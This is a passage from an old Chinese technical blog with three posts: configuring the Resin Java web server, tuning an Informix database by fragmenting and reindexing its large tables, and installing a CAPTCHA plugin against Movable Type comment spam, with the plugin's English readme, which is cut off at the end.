    点选stop,可以停止当前的Resin服务器进程;再点选start,又可以开启新的Resin服务器进程。关闭该对话框,则回到Command 控制台的盘符提示状态下。如果在nt4或者win2k环境下,需要把Resin当成服务,只需要在Command控制台的该目录下,键入 httpd ?install,就可以在管理工具的服务下面看到新增了一条Resin Web Server的自动的服务。以后只要进入nt 4或者win2k,就可以启动Resin服务。该服务也可以像其他服务一样设置成手动或者禁用状态。注意有的时候在安装完服务后,启动Resin,并不能看到自己写的Resin例程可以被解析,浏览器显示服务器找不到错误。只要重新启动win2k或者nt,就能解决该问题。

    下面简要介绍一下Resin服务器的配置。Resin服务器和大多数Java Web服务器一样,通过一个Xml文件配置。

    进入d:\resin\conf目录,打开resin.conf,这是一个xml格式的文本。这里面有很多标记,先查找到:<http-server>。在<http-server></http-server>标记对中的配置和resin的Java Web 服务器有关。找到<app-dir>,在<app-dir></app-dir>标记对中的表示resin的根,相当于Apache的htdocs 或者 IIS 的wwwroot。Resin自带http服务器,但是也可以不使用它,采用Apache 或者 IIS做http服务器。这个在下面段落中会提到。

    再查找<http port='8080'/>标记,它可以这样配置<http host='localhost' port='80'/>。host参数指定的是服务器,port指定的是http端口,默认是localhost和8080。还有<srun host='localhost' port='6802'/>标记。这个是jsp和java Servlet的引擎配置。一般默认就可以了,除非6802端口已经被别的程序占用了。然后,配置jdk。这个需要在classpath中设置。右键点击我的电脑,在系统特性的高级标签中,点击环境变量,在系统变量中新建一个环境变量,变量名为classpath,值为jdk所在的目录;再新建另外一个环境变量,变量名为path,值为javac.exe和java.exe所在的目录(在jdk所在的目录下面的bin目录下)。一般这样子配置以后,Resin就可以使用了。在d:\resin\doc中(假设你的<appdir></appdir>对中的名称是doc,也就是根是d:/resin/doc,而且你的<http host='localhost' port='80'/>如左配置),随便写一个jsp文件,如可以写个test.jsp文件,内容为<%=1+2+3%>。然后,在浏览器中,键入http://localhost/test.jsp。如果你可以看到浏览器显示6,则表示Resin服务器已经可以正常运行了。注意,修改配置后,一般重新启动resin才能看到变化。

    三、Resin使用简介

    使用Resin开发Java Web项目时,需要建立自己的WebApp。这里不介绍Resin Cmp/Ejb的开发和使用,只介绍用Resin开发普通的jsp\java servlet项目。在这里还要谈到resin.conf的配置。Resin中的应用可以有2种方式发布:一是在Resin的目录下发布;二是打包成War发布。

    1、在Resin的目录下发布

    在resin.conf中查找<web-app>标签,该标签表示一个web应用。

    标签中,id属性表示该应用的Web路径。如<web-app id='/test'>,表示该应用在Web上访问的时候应该用http://hostname/test/来访问。app-dir属性表示该应用的实际路径。如<app-dir>d:\resin\doc\test</app-dir>表示该应用在d:\resin\doc\test目录下面。默认值为根下面的和id同名的目录。Resin可以配置3种error-page:404错误也就是文件找不到错误页;Exception违例页;不能连接java引擎页。他们分别可以这样子设置。

    404文件找不到页

    <web-app id='/app1'>
    <error-page error-code='404' location='/file_not_found.jsp'/>
    </web-app>

    Exception 违例页

    <web-app id='/foo'>
    <error-page exception-type='java.lang.NullPointerException' location='/nullpointer.jsp'/>
    </web-app>

    不能连接到srun Servlet引擎错误页

    该页设置和应用无关,属于服务器的设置。

    <http-server>
    <error-page exception-type='connection' location='/missing_file.html'/>
    </http-server>

    classpath的设置

    参见下面的语句:

    <classpath id='WEB-INF/classes' source='WEB-INF/src' compile='true'/>

    id参数的值表示classpath中编译后的class的存放路径;source参数的值表示classpath中java源代码的存放路径;compile中的值可能是true或者false,表示是否由Resin的srun自动编译java源代码。Classpath的设置一般和javaBean或者Servlet的使用有关。id的值表示javaBean的编译好的包存放的根,source的值表示javaBean的java源代码存放的根。Servlet相同。

    Servlet的设置

    参见下面的语句:

    <servlet-mapping url-pattern='*.xtp' servlet-name='xtp'/>
    <servlet-mapping url-pattern='*.jsp' servlet-name='jsp'/>
    <servlet-mapping url-pattern='/servlet/*' servlet-name='invoker'/>

    一般就是指定那些需要通过srun的解析。比如在这里,把*.jsp改成*.jss,其他不变,那么只要在访问时遇到*.jss的文件就和原来遇到*.jsp一样处理。通过这个可以指定解析的引擎,如以下的配置:

    <servlet-mapping url-pattern='*.xtp' servlet-name='com.caucho.jsp.XtpServlet'/>

    在Servlet中,也可以指定servlet。如

    <servlet servlet-name='hello' servlet-class='test.HelloWorld'/>
    <servlet-mapping url-pattern='/hello.html' servlet-name='hello'/>

    在servlet-mapping中有个重要的参数case-sensitive 如果在windows上,最好配置成false,忽略大小写,从而和windows的约定一致。

    Session的配置

    参见如下的配置语句:

    <session-config>
    <session-max>4096</session-max>
    <session-timeout>30</session-timeout>
    <enable-cookies>true</enable-cookies>
    <enable-url-rewriting>true</enable-url-rewriting>
    <file-store>WEB-INF/sessions</file-store>
    </session-config>

    session-max :最大 session数量
    session-timeout :session过期时间,以分钟为单位。
    是否允许cookie :指session是否采用cookies。如果采用cookies,浏览器必须支持session才能使用,发布时建议改成false。enable-url-rewriting和enable-cookies一般配合使用。如果enable-cookies是false,
    enable-url-rewriting应该设成true比较合适。
    file-store :该配置指示服务器是否把session作为文件存放在服务器上。如果把该项注释掉,则在你的web-app目录下的WEB-Inf/sessions目录不保存序列化后的session对象。Session还有jdbc-store配置,对应着把session通过jdbc永久保存在数据库中。其实也就是会话变量的序列化后的保存和重新载入的物理实现。

    在这里session还支持了多服务器的设置问题,通过tcp-store参数设置。由于涉及到负载平衡的问题,在这里不详细叙述,只简单写一个例子:

    <http-server>

    <http id='a' port='80'/>
    <srun id='a' host='host-a' port='6802'/>

    <http id='b' port='80'/>
    <srun id='b' host='host-b' port='6802'/>

    <host id=''>
    <web-app id=''>

    <session-config>
    <tcp-store/>
    <always-load-session/>
    </session-config>
    </web-app>
    </host>

    </http-server>

    这个例子表示session是按照tcp ring的方式传递。

    temp-dir 的设置

    temp-dir指的是应用的临时目录。也就是在javax.servlet.context.tempdir中用到的目录。模认是应用目录下的WEB-INF\tmp目录。

    以上的设置都可以在<web-app>标签对中设置,控制某个web应用的设置。

    2、打包成War发布

    以下是介绍对如何在resin下使用已经打包成War的java Web应用进行发布。

    其实这个是最简单也是最清晰的良好方法。在j2ee中,所有的项目都打包成ear发布。其中,Web应用打包成war,ejb应用打包成jar。在resin中,这些都可以直接部署。这里我只对打包成war的Web应用的部署做介绍。

    在resin.conf中,查找这个:<war-dir id='webapps'/>。他表示war文件应该被拷贝的路径。这里指的是相对于resin的安装路径,如以上的设置表示d:\resin\webapps。只要重新启动Resin就可以了。Resin会把该war自动解包到webapps目录下。你可以在command控制台或者stdout.log中看到类似于[2002-04-27 09:56:21.680] initializing application http://haitaiserver:8080/rwtest 的语句。这个表示该Web应用是自动安装的。只要这个应用是符合j2ee标准的Web应用,应该不会有问题。通过如上显示的路径就可以访问到这个应用。如果你到d:\resin\webapps\rwtest中浏览,你会看到Resin已经为你生成了rwtest目录,下面是META-INF和WEB-INF还有你自己的JSP\servlet 文件和目录。是完全符合j2ee的结构的。你可以在rwtest目录下建立新的jsp\servlet,一样可以被编译和解析并运行的。在实际操作中,可以使用Jbuilder 或者 WebSphere等Ide工具进行集成调试和打包,非常的方便。

    四、使用Resin进行java Web项目的开发和调试

    这里篇幅有限,不可能讲太多,我只对实际中最有用的部分做介绍。

    Resin中如果定义了错误页,则出错后最常见的一大串Exception不会被看到,直接跳转到错误页。所以建议开发中先不设置错误页。jsp错误中最常见的就是Nullpoint Exception,其次是名称的拼写错误。错误也可以在Resin安装目录下的log目录下的stderr.log中找到。通过对该log文件的分析可以看到很多有用的错误信息。

    在调试jsp的时候,如果定义了compile为true,jsp先被翻译成Servlet的java文件,再被编译成class文件。可以在你自己的work目录中找到该文件。java的名称在Resin中是这样子定义的:原先的jsp文件名前加下划线,再加上_jsp这个字样。所以在java 应用中的命名不要以_jsp结尾,也不要出现中文名称等字符;其实名称以_jsp为开头也是不合法的。

    关于java对多国语言的支持问题,在Resin中得到了很好的解决。以jsp为例,参考Resin自动生成的java Servlet文件。只要在任何的jsp文件的最开始处增加:

    <% @page contentType="text/html;charset=gb2312" %>

    中文问题就解决了。察看生成的Servlet源文件片断:

    response.setContentType("text/html;charset=gb2312");
    request.setCharacterEncoding("GB2312");

    以上为设置字符集

    private static byte[] _jsp_string26;
    private static byte[] _jsp_string27;

    _jsp_string26 = "\r\n</table>\r\n<table class=\"type\">\r\n<tr>\r\n <td>".getBytes("GB2312");
    _jsp_string27 = "\r\n</td><td>\r\n</tr>\r\n<!--\r\n<tr>\r\n<td>\r\".getBytes("GB2312");

    以上是对页面的显示的编码。其中,getBytes("gb2312")是静态编码,这是Resin为了解决某些环境下还是不能正常显示而设置的。在Resin的配置文件(/conf/resin.conf)中,可以通过设置<jsp precompile='true' static-encoding='false' recompile-on-error='true'/>中的static-encoding属性为true或者false,来控制是否静态编码。其实在Resin容器的内部,所有的字符都是按照iso-8859-1来处理的。iso-8859-1是一个大字符集,虽然中文的gb2312和8859在字的定义上有不同,但是编码是包容了gb2312的。按照解决多国语言的方法,在纯英文平台上用iso-8859-1处理内部编码,而把字符的显示推向客户端的机器。所以这样只要编码是正确的,在页面上显示中文就不存在问题。Tomcat3.2不方便的地方是Tomcat对数据库的操作中文支持不好,需要手动在java Bean或者Servlet中硬编码。通过测试,在Resin中完全没有这个问题。Tomcat4.0解决了这个问题。不过个人习惯来讲还是觉得resin在配置方面方便一些。

    在Resin中可以自动解决引入的jar。这个在使用特殊的类或者第三方提供的开发包非常有用。方法非常简单:只要把该jar或者是zip拷贝到Resin安装目录下的lib目录下面,重新启动Resin,就可以了。如db2用到的db2java.zip文件,只要轻松拷贝到d:\resin\lib中就可以了。

    Resin提供了对Jbuilder的集成调试。可以到:http://www.caucho.com/projects/jbuilder/resin-jbuilder.jar免费下载到resin的jbuilder的ide扩展包。然后,把该包该名成:resin-jbuilder.jar,拷贝到jbuilder6\lib\ext目录下。然后,把Resin2.1解包安装在jbuilder6\resin-2.1目录下,就可以了。打开任何的War项目,在project上点右键,选择properties,选择Servers标签。在原来的选择框上,就可以看到多了一项Resin2.1。这样子就可以象原来用tomcat一样调试jsp\servlet了,而且比Tomcat更方便。调试方法和用Tomcat调试一样。

    五、其他问题

    使用Resin可以和apache结合使用。也就是利用apache做http服务器,而Resin做srun服务器。可以参考resin\conf\samples目录下的apache.conf。主要就是把 app-dir 设成 /usr/local/apache/htdocs(也就是apache的root)。同时在apache 中的http.conf也做了相应的设置。Resin还提供了对该过程的自动安装程式,运行resin\bin\setup,你可以在弹处的对话框中选择apache,这样子就可以了。只要你曾经安装过apache,resin可以自己找到httpd.conf文件所在的路径。

    使用命令行方式启动Resin,如果改动了Resin.conf,Resin会自己重新启动适应新的配置。这个很适合初期安装时使用。

    Resin对数据库缓冲池的支持很好。在这里,它提供了DBPool对缓冲池做了封装。实际使用时,只要在resin.conf这样配置:

    <dbpool.sql>

      <id>ORCL</id>
      <driver>oracle.jdbc.driver.OracleDriver</driver>
      <url>jdbc:oracle:thin:@localhost:1521:SMTH</url>

      <!-- <url>jdbc:oracle:oci8:@SMTH</url> -->

      <user>scott</user>
      <password>tiger</password>

      <max-connections>5</max-connections>

    </dbpool.sql>

    然后,在你的jsp或者servlet中就可以这样子使用了:

    先导入 com.caucho.sql.*包,然后如下直接得到连接:

    Connection conn = DBPool.getPool("ORCL").getConnection();

    个人建议不要如上使用连接池,还是按照ejb的方法用从Context中直接找到的DataSource对象中得到连接通用性比较好。代码也很简单:

    Context ctx = new InitialContext();
    DataSource ds = (DataSource)ctx.lookup(“jdbc/EmployeeDB”);
    Connection conn = ds.getConnection();

    在Resin中如下配置jdbc就可以了:

    <resource-ref>
    <res-ref-name>jdbc/EmployeeDB</res-ref-name>
    <res-type>javax.sql.DataSource</res-type>
    <init-param driver-name="com.caucho.jdbc.mysql.Driver"/>
    <init-param url="jdbc:mysql_caucho://localhost:3306/test"/>
    <init-param user="name"/>
    <init-param password="password"/>
    <init-param max-connections="20"/>
    <init-param max-idle-time="30"/>
    </resource-ref>

    用Resin Web Server开发还是比较愉快的。只是没有像Weblogic 或者WebSphere那样子提供现成的管理控制台而已。但是从稳定性和方便性来讲,Resin个人认为比Tomcat要好很多。况且Resin还有提供了resin-cmp 和 resin-ejb,功能更强大。

    Posted by vitter at 2005-03-17 15:39:07 | 评论 (0)

    March 02, 2005

    Informix的数据库优化

    现在手上有个1G多的Infromix数据库,存在一个DBspace里面,最近感觉很慢,需要优化,研究了下。下面是针对这个的优化,其中因为article、article_extent、article_column这3个表最大,每个都有好几百M。

    1. 备份article、article_extent、article_column数据。

    2. 在informix的data目录下touch文件articledbs1、articledbs2、articledbs3、articledbs4

    3. 创建dbspace
    onspaces -c -d articledbs1 -p /opt/informix/dbs/articledbs1 -o 400000 -s 600000
    onspaces -c -d articledbs2 -p /opt/informix/dbs/articledbs2 -o 400000 -s 600000
    onspaces -c -d articledbs3 -p /opt/informix/dbs/articledbs3 -o 400000 -s 600000
    onspaces -c -d articledbs4 -p /opt/informix/dbs/articledbs4 -o 400000 -s 1600000

    4.drop并重新创建article表。
    drop table article CASCADE;

    create table article (
    article_id DECIMAL(20) not null,
    title VARCHAR(100),
    sub_title VARCHAR(100),
    author VARCHAR(50),
    source VARCHAR(50),
    keyword VARCHAR(255),
    body TEXT,
    abstract VARCHAR(255),
    create_time DATETIME YEAR TO SECOND,
    flag CHAR(1) default "N",
    out_url VARCHAR(80),
    recommend VARCHAR(80),
    recommendlink VARCHAR(80),
    primary key (article_id)
    constraint u100_1
    )
    FRAGMENT BY EXPRESSION
    article_id<50000 in articledbs1,
    article_id between 50000 and 100000 in articledbs2,
    article_id between 100000 and 150000 in articledbs3,
    article_id > 150000 in articledbs4
    extent size 100000 next size 500 lock mode page
    ;

    5. 生成article表索引
    create cluster index article_createtime_index on article(create_time DESC) FILLFACTOR 70;
    create index article_title_index on article(title) FILLFACTOR 70;
    create index article_author_index on article(author) FILLFACTOR 70;
    create index article_source_index on article(source) FILLFACTOR 70;
    create index article_keyword_index on article(keyword) FILLFACTOR 70;

    6. 导入article表备份数据。
    load from "/home/informix/crontd/article.unl" insert into article;

    7. drop并重新创建article_column表。
    drop table article_column CASCADE;

    create table informix.article_column (
    art_col_id DECIMAL(20) not null,
    column_id DECIMAL(20),
    article_id DECIMAL(20),
    dynamic_link VARCHAR(255),
    static_link VARCHAR(255),
    tem_col_id DECIMAL(20),
    primary key (art_col_id)
    constraint u228_374
    )
    in info extent size 50000 next size 500 lock mode page
    ;

    8. 创建表article_column索引。
    create cluster index article_column_articleid_index on article_column(article_id DESC)

    FILLFACTOR 70;
    create index article_column_columnid_index on article_column(column_id DESC) FILLFACTOR 70;

    9. 导入表article_column备份数据。
    load from "/home/informix/crontd/article_column.unl" insert into article_column;

    10. drop并重新创建article_extent表
    drop table article_extent CASCADE;

    create table informix.article_extent (
    article_id DECIMAL(20),
    status CHAR not null,
    create_time DATETIME YEAR TO SECOND,
    creator VARCHAR(20),
    last_time DATETIME YEAR TO SECOND,
    last_editor VARCHAR(20),
    audit_time DATETIME YEAR TO SECOND,
    auditor VARCHAR(20),
    publish_time DATETIME YEAR TO SECOND,
    publisher VARCHAR(20),
    published CHAR default "N"
    )
    in info extent size 50000 next size 500 lock mode page;

    11. 创建表article_extent索引。
    create cluster index article_extent_articleid_index on article_extent(article_id DESC)

    FILLFACTOR 70;
    create index article_extent_publisher_index on article_extent(publisher) FILLFACTOR 70;
    create index article_extent_publishtime_index on article_extent(publish_time DESC) FILLFACTOR
    70;

    12. 导入表article_extent备份数据。
    load from "/home/informix/crontd/article_extent.unl" insert into article_extent;

    13.onconfig参数优化
    SHMVIRTSIZE =16000KB
    SHMADD = 32,768KB
    BUFFERS = (4096MBX20%)/4KB
    LOCKS=40000
    LOGBUFF=64KB
    PHYSBUFF=64

    14. 优化数据库参数信息
    UPDATE STATISTICS

    附:Informix的UPDATE STATISTICS详解:
    给定查询的不同执行策略可能会有不同的代价,构造具有最小查询执行代价的查询执行计划是数据库系统的职责。查询优化是为了查询选择最有效的查询策略的过程。查询优化是尽量找出与给定表达式等价的、但是执行效率更高的一个表达式,而且决定执行运算时所采用的具体算法以及将使用的特定索引等。
    为了在诸多查询策略中作出选择,数据库系统的优化器必须估计每个查询策略的代价,磁盘访问次数常常是衡量代价的主要标准。在没有按照某策略执行查询前,准确计算出该策略的代价是不可能的,所以,优化器要利用数据库系统中的统计信息,来估计查询策略的代价。Informix数据库系统这些统计信息保存在SYSMASTER数据库中,如果要维护准确的统计值,那么每当表数据修改时,相应的统计值也必须更新,这种更新会带来很大的代价,因此Informix系统不是在每次修改时对统计值更新。因此,用于选择查询策略的统计数据不一定完全正确,有时会遇到查询用不到应该使用的索引,就是统计信息没有更新的原因。 对Informix数据库系统,这些统计信息保存在SYSMASTER数据库中,可以使用UPDATE STATISTICS命令更新。
    以下是用于估计代价的信息:
    记录数
    表空间的页数
    记录长度
    字段不同值个数
    字段值的分布
    索引的层数
    索引叶结点数目
    索引B+树的深度
    索引是升序还是降序或聚类索引
    索引占用的页面数目
    Informix 数据库服务器中的优化器为SQL语句的查询提供最有效的策略,这就使得你在进行表的连接查询时不必全面考虑究竟那个表首先搜索,以及究竟需要使用那个索引。
    通过执行update statistics命令可以更新系统的统计信息,使得优化器得到当前最新的统计信息。当修改或删除一个表的相关数据时,系统的统计信息并不自动更新。比如:如果使用delete命令删除一个数据库表内的一条记录,删除完成后查找systables内关于该表的记录信息时,将会发现nrows(数据库表的记录行数目)并没有改变。而通过执行update statistics命令,就可以使系统表systables、sysdistrib、syscolumns、sysindexes等表内的信息得到更新。在运行完update statistics后,这时就会发现systables内的nrows字段已得到更新。如果执行update statistics medium(high),在sysdistrib表内还可以得到更新的数据分布信息。所以,当大量地修改数据库表后最好执行一下update statistics操作。另外,update statistics将强迫存储过程的优化(对sysprocpplan更新)。以下是与update statistics 相关的系统表:

    1、syscolumns:
    描述了数据库内的每个字段,其中的colmin、colmax存储了数据库各表字段的次小及次大值,这些值只有在该字段是索引且运行了Update statistics之后才生效。如对于字段值1、2、3、4、5,则4为次大值,2为次小值。

    2、sysdistrib:
    存储了数据分布信息。该表内提供了详细的表字段的信息用于提供给优化器优化SQL Select语句的执行。当执行update statistics medium(high)之后将往此表存入信息。
    执行“dbschema -hd”可以得到指定表或字段的分布信息

    3、sysindexes:
    描述了数据库内的索引信息。对于数据库内的每个索引对应一条记录。修改索引之后只有执行Update statistics才能使其改变在该表内得到反映。同时也更新clust的数值,在该表的数据页数目及数据库记录条数之间

    4、systables:
    通过执行Update statistics可以更新nrows数据

    update statistics有以下三种级别:

    1、LOW:
    缺省为LOW,此时搜集了关于column的最少量信息。只有systables、syscolumns、sysindexes内的内容改变,不影响sysdistrib。为了提高效率,一般对非索引字段执行LOW操作

    2、HIGH:
    此时构建的分布信息是准确的,而不是统计意义上的。
    因为耗费时间和占用CPU资源,可以只对表或字段执行HIGH操作。对于非常大的表,数据库服务器将扫描一次每个字段的所有数据。可以配置DBUPSPACE环境变量来决定可以利用的最大的系统磁盘空间
    3、MEDIUM:
    抽样选取数据分布信息,故所需时间比HIGH要少
    什么时候应该执行update ststistics ?
    建议在以下情况,执行update statistics 操作:
    对数据做了大量修改,大量是针对数据的分布而言,若数据分布没有明显的改变则可以不做
    改变的数据库表有与之相关的存储过程,避免在运行时存储过程重新优化
    数据库升级之后完成对索引的转变 update ststistics 的方法
    考虑到速度性能因素,执行update statistics的推荐方法:
    对表执行:update statistics medium for table #### distributions only
    对每个索引的首字段执行:update statistics high
    对复合索引执行:update statistics low
    必要时对非索引字段但在条件中使用到的字段执行Update statistics high操作。

    Posted by vitter at 2005-03-02 11:19:02 | 评论 (1)

    February 12, 2005

    MT2.661防止垃圾评论留言

    Security Code Plug-in installed successfully

    下载SCode plugin地址:http://james.seng.cc/files/scode-0.1c.tar.gz

    我的平台是:

    Windows server 2000
    IIS 5
    Movable type 2.661
    ActivePerl 5.8

    参考:英文说明文档(后附)

    安装GD模块。

    step1:
    GD Perl 模块安装。

    ppm> install GD
    ppm> rep add NewRepSite http://www.bribes.org/perl/ppm/
    ppm> search GD
    ppm> install GD


    Step2:
    1)下载SCode plugin,解压缩;

    2)编辑解压缩后的SCode.pm,修改my $tmpdir为您服务器的暂存目录,my $scode_length为校验码长度,my $scode_maxtmp为最多同时能够产生多少个校验吗,默认为50,若您的Blog访问人数较多,请适当调整此值;暂存目录要可读写。例如:E:/myweb/blog/tmp/

    3)修改mt-scode.cgi,$c_background、$c_border、$c_line、$c_code可以设置校验码的颜色;

    4)将SCode.pm上传到MT安装目录的lib/MT/目录,scode.pl到plugins/目录,mt-scode.cgi到根目录,并修改mt-scode.cgi属性为可执行;

    5)打开lib/MT/App/Comments.pm,找到

    if (!$q->param('text')) {
    return $app->handle_error($app->translate("Comment text is required."));
    }
    在后面加上

    # SecurityCode hack start
    #
    require MT::SCode;
    my $code = $q->param('code');
    my $scode = $q->param('scode');
    my $sscode = MT::SCode::scode_get($code);
    if ($scode ne $sscode) {
    return $app->handle_error($app->translate(
    "Wrong or missing Security Code."));
    }
    MT::SCode::scode_delete($code);
    MT::SCode::scode_create($code);
    #
    # Surity hack ends

    6)编辑模板
    - Individual Entry Archive
    - Comment Listing Template(评论清单模版)
    - Comment Preview Template(评论预览模版)
    - Comment Error Template(评论出错模版)
    在提交评论前面:
    <label for="url">网址:</label><br />
    <input tabindex="3" id="url" name="url" /><br /><br />
    即评论网址后面加上

    <!-- Security Code Check -->
    <label for="scode">SCode-校验码:</label><br />
    <input type="hidden" id="code" name="code" value="<$MTSecurityCode$>" />
    <img border="0" src="<$MTCGIPath$><$MTSecurityImage$>?code=<$MTSecurityCode$>"><br />
    <input tabindex=3 id="scode" name="scode" /><br /><br />
    <!-- end of Security Code Check -->

    7)重建您的Blog,校验码就出现了,可以有效防止评论机器人滥发垃圾留言。linux平台下的类似。


    附:Security Code Plug-in官方en文说明文档对于MT3.x的可以参考:

    # Copyright (c) 2003, James Seng. (http://james.seng.cc/)
    # This code is released under the Artistic License.
    #
    # scode-0.1c

    +++++++++++++++++++++++++++++++++++
    INTRODUCTION
    +++++++++++++++++++++++++++++++++++

    This package patches MT so it will verify if it is a human before allowing
    comments to be posted. The idea is simple: Display an image with a Security
    Code and demand the user to enter the Security Code manually. Hopefully,
    this will stop a stop to the MT's comments spambots.

    To see how this works, check out my blog at http://james.seng.cc/

    You can contact me at jseng_at_pobox.org.sg if you have any questions or
    comments.

    There are two sets of installation instructions (for older and newer
    versions of MT) followed by a FAQ.

    +++++++++++++++++++++++++++++++++++
    INSTALLATION MT 2.x
    +++++++++++++++++++++++++++++++++++

    1. Check if you have GD.pm installed on your sever.
    If you have command line access to your server you can use the command
    perldoc GD. Alternatively there may be a link to a list of the perl
    extension libraries may be linked from the left hand side of "CPanel."
    Alternatively, you can ask your Internet Service Provider directly "Is
    the Perl extension library, GD.pm installed on the server I am using?"

    If not, download from www.cpan.org and install GD on your system.

    See the FAQ at the end of this file for symptoms of not having GD installed.

    2. Edit SCode.pm and define your temp directory (preferably in your own
    home directory) and the length of the security code you want (default 6).

    Create a temporary directory, where codes are stored, above the directory
    public_html in your server directory heirarchy, so that it is not viewable
    from the Web, otherwise spam robots will look inside the folder to see
    what code to automatically input.

    Make sure the temp directory is writable by your webengine, which may not
    be your userid. Generally, speaking a setting the permissions to 1755
    (using chmod 1755 ) should do the trick but if not, you can try
    1775 or 1777. I wouldn't recommend the later two though for security reasons.

    3. Upload SCode.pm to the lib/MT/ directory
    (MT::SCode)

    4. Upload mt-scode.cgi to the main Movable Type CGI directory, where there is mt.cgi
    (Make sure it is executable, ie, set the permission (chmod) mt-scode.cgi to 755 of)

    5. Upload scode.pl to the plugins/ directory

    6. Make the following changes to the file Comments.pm
    which is in the folder lib/MT/App/
    of your Movable Type installation.

    Look for the following three lines and then add the "Security code hack," code
    between # SecurityCode hack start and # Security hack ends.


    if (!$q->param('text')) {
    return $app->handle_error($app->translate("Comment text is required."));
    }

    # SecurityCode hack start
    #
    require MT::SCode;
    my $code = $q->param('code');
    my $scode = $q->param('scode');
    my $sscode = MT::SCode::scode_get($code);
    if ($scode ne $sscode) {
    return $app->handle_error($app->translate(
    "Wrong or missing Security Code."));
    }
    MT::SCode::scode_delete($code);
    MT::SCode::scode_create($code);
    #
    # Security hack ends

    For your reference, the next lines after the Security Code Hack you
    have just insterted should be

    my $comment = MT::Comment->new;
    $comment->ip($app->remote_ip);

    7. Logon to your Movable Type installation, and edit the following
    templates in all the blogs that you wish to protect.

    - Individual Entry Template
    - Comment Listing Template
    - Comment Preview Template
    - Comment Error Template

    In the above templates, just before the submit button line which begins

    <input type="submit"

    add the following block:

    <!-- Security Code Check -->
    <input type="hidden" id="code" name="code" value="<$MTSecurityCode$>" />
    <img border="0" src="<$MTCGIPath$><$MTSecurityImage$>?code=<$MTSecurityCode$>"><br />
    <input tabindex=3 id="scode" name="scode" /><br /><br />
    <!-- end of Security Code Check -->

    8. If you are using Jay Allen's MTBlacklist then you will have to disable it
    or add the same code as you added to Comment.pm to MTBlPost.pm, which
    should be in /plugins/jayallen

    9. Try it out!

    (Yes: Ignore scodetest.cgi - See FAQ below for more info)

    +++++++++++++++++++++++++++++++++++
    INSTALLATION MT 3.x
    +++++++++++++++++++++++++++++++++++

    From: http://www.setcomputing.com/blog/archives/computing/2004-September/incorporating_mtsecu.html

    Follow Step 1 to 9 as above and then...

    10. Open lib/MT/Template/Context.pm

    11. Look for the sub: _hdlr_comment_fields

    12. You should see something like this:

    sub _hdlr_comment_fields {
    my ($ctx, $args, $cond) = @_;
    ....
    ..

    13. Add the following lines after the above line:

    # Security code validation
    require MT::SCode; # <-- new addition
    srand int (time/10)+$$;
    my $securitycode = int rand(MT::SCode::scode_tmp());
    $securitycode++;
    MT::SCode::scode_create($securitycode);
    # End Security code hack

    14. Then scroll down and you should see something like this:

    ..
    ....
    <MT_TRANS phrase="Remember me?">
    <input type="radio" id="remember" name="bakecookie" />....
    ..
    ....

    15. Add the following lines below that:

    <!-- Security Code Check -->
    <input type="hidden" id="code" name="code" value="$securitycode" />
    <label for="scode">Security Code:</label><br />
    <img border="0" alt="Please enter the security code you see here" src="$path/mt-scode.cgi?code=$securitycode" /><br />
    <input tabindex="3" id="scode" name="scode" /><br /><br />
    <!-- end of Security Code Check -->

    16. Scroll down a little more, and once again you should see:

    ..
    ....
    <MT_TRANS phrase="Remember me?">
    <input type="radio" id="remember" name="bakecookie" />....
    ..
    ....

    17. Add the following lines after that:
    <!-- Security Code Check -->
    <input type="hidden" id="code" name="code" value="$securitycode" />
    <label for="scode">Security Code:</label><br />
    <img border="0" alt="Please enter the security code you see here" src="$path/mt-scode.cgi?code=$securitycode" /><br />
    <input tabindex="3" id="scode" name="scode" /><br /><br />
    <!-- end of Security Code Check -->

    +++++++++++++++++++++++++++++++++++
    MORE CONFIGURATION
    +++++++++++++++++++++++++++++++++++

    1. You may customized the color of the image generated.
    Open mt-scode.cgi and edit the following variables
    $c_background, $c_border, $c_line and $c_code.

    2. The current default is 50 temporary security code. If you have a lot
    of commentors, you should consider increasing $scode_maxtmp (in SCode.pm).

    +++++++++++++++++++++++++++++++++++
    FAQ
    +++++++++++++++++++++++++++++++++++

    If you have a problem, please install scodetest.cgi provided in the
    package into the main MT CGI directory (where mt.cgi is) and make sure
    it is executable, ie, set the permission (chmod) scodetest.cgi to 755

    scodetest.cgi is written to test the most common errors made by user,
    namely, lack of GD, lack of GD.pm, lack of SCode.pm and also failure
    to define tmpdir.

    To use it, point your browser to http://your.blog/your.mt/scodetest.cgi

    1. I can't see any image! What's wrong?

    Okay, if you don't see any image been displayed, there is only one
    and only one reason. 100%, without fail, everyone who fails to get
    an image is because *they did not have GD and GD perl lib*.

    I repeat: You need (a) GD installed *AND* (b) GD perl lib installed.
    Having one of them is not good enough. You need both of them. Check
    with your hosting company. And sorry, I can't help you with your
    GD installation.

    Okay, I bite: there is another possible reason why it is not working:
    When you did not follow the procedure carefully and hence generate
    a 505 error. This particularly happens in MT 3.x, in Step 13 where
    you *need* the "require MT::SCode". Otherwise, it will not work.

    2. I got error like MT::App::Comments=HASH(0x812bfd4) print() on
    closed filehandle OUTFILE at lib/MT/SCode.pm line 50.

    This problem occurs when you failed to define your temp directory properly.
    See Step 2 in the installation guide. And note the sentences that say
    "Make sure the temp directory is writable by your webengine"

    3. I got it installed, image display fine but it does not work!
    Comments still gets through without keying the right code!

    If you are using MT-blacklist, then you have to disable it.
    (Read http://james.seng.cc/archives/000156.html)

    If disabling MT-blacklist is not an option to you, then you have a bit
    more work to do. You also have to apply the Step 6 hacks to MTBlPost.pm
    in additional to Comment.pm. (Read http://www.muhajabah.com/islamicblog/mt-tips/archives/plugins/dealing_with_crapflooding_part_two.php)

    If you are not using MT-blacklist and it still don't work, then make
    sure you have apply Step 6 properly. If you are using MT 3.x, then make
    sure you follow the MT 3.x installaiton guide above.

    4. I got an error like MT::App::Comments=HASH(0x812bfd4) use of
    uninitialized variable in numericle (<=) at lib/MT/Code.pm at line 69.

    Then it may be because your has not been
    correctly inserted into the right place in your movable type installation
    templates. Please check to see that it is in the right position.

    5. I installed the plugin and it works very well. But a couple of weeks
    ago, it suddenly stop working. What's wrong?

    From Elisabet's provider:

    ----
    Hi Elisabet,
    there was a problem with the way cPanel was installing GD. The developer created a script to "clean" any buggy GD installations and re-install. Once I cleaned the installation the script worked ok.

    Christine
    ----

    6. I don't see any image and I get an error like 'Premature end of script headers: /user/abc/mt/mt-scode.cgi'.

    See FAQ Q1. See also FAQ Q5 (faulty GD may also cause 505 error)


    In short, talk to your provider and ask them to use the clean up script.

    For all other problem, you can email me *WITH* the following information
    1. MT version
    2. Output of scodetest.cgi
    3. Description of what you have done and whats the problem
    4. Your blog URL
    5. Relevant errors entries from your HTTP error logs

    Please do not send me email with "It does not work." or "I dont see
